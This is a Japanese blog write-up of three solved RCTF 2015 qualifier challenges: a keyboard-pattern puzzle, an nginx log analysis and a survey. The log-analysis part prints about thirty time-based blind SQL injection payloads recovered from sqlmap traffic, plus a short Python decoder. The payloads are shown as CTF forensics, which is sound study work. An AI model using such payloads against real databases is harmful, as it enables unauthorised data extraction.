RCTF 2015 Quals Writeup

この大会は2015/11/14 9:00(JST)~2015/11/15 21:00(JST)に開催されました。
今回も個人で参戦。結果は80点で175位でした。
参加チームは1843チームいたようですので、まあまあの順位かと...。
解けた問題3問をWriteupとして書いておきます。

Sign in (MISC 10)

URLが掲載されているので、アクセスすると、こんな画面。
f:id:satou-y:20151116121741p:plain

flag: this1sn0tt3ueflag と書いてある。
一瞬これでフラグが表示されたのかと思ったが、違うようだ。

ソースコードを見てわかったが、ページの最下部に白字でこう書いてある。

keyboard: 23es1qazdc 5rdcvgy6 7gv 098ujnb zxcv resxc 4567tgb 78jk6yhn

これはキーボードの配列上で、キーをなぞれば文字になる問題だなと考えた。
解答の形式はRCTF{}なので、なぞった結果を入れればフラグになる。

RCTF{ROiS_cTF}

Analysis nginx's log (MISC 50)

ログが添付されているので、そのログを解析する問題ということらしい。
ざっと眺めると、sqlmapのログがほとんど。
何かフラグについて、ブラインドSQLインジェクションをしている箇所を探す。
misc.flagが関係するテーブルではないかと予想して、その部分のログを取り出し、URLデコードする。
その中から != で最終的に文字を決定している部分のみ取り出す。

7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),1,1))!=82),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),2,1))!=79),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),3,1))!=73),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),4,1))!=83),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),5,1))!=123),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),6,1))!=109),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),7,1))!=105),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),8,1))!=83),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),9,1))!=99),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),10,1))!=95),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),11,1))!=65),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),12,1))!=110),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),13,1))!=64),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),14,1))!=108),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),15,1))!=121),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),16,1))!=83),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),17,1))!=105),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),18,1))!=115),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),19,1))!=95),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),20,1))!=110),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),21,1))!=71),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),22,1))!=49),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),23,1))!=110),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),24,1))!=120),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),25,1))!=95),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),26,1))!=76),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),27,1))!=48),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),28,1))!=103),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),29,1))!=125),SLEEP(1),7500)
7500=IF((ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM misc.flag ORDER BY flag LIMIT 0,1),30,1))!=5),SLEEP(1),7500)

30文字目は制御コードなので、それを除いて文字表記するプログラムを書いて、実行する。

data = [82, 79, 73, 83, 123, 109, 105, 83, 99, 95, \
        65, 110, 64, 108, 121, 83, 105, 115, 95, 110, \
        71, 49, 110, 120, 95, 76, 48, 103, 125]

flag = ""
for i in range(len(data)):
    flag += chr(data[i])
print flag
ROIS{miSc_An@lySis_nG1nx_L0g}

survey (SURVEY 50)

これは問題ではなく、アンケートだった。
アンケートに答えると、フラグが表示される。

RCTF{thank_y0u_f0r_part1c1pat1ng_1n_RCTF}

f:id:satou-y:20151116133714p:plain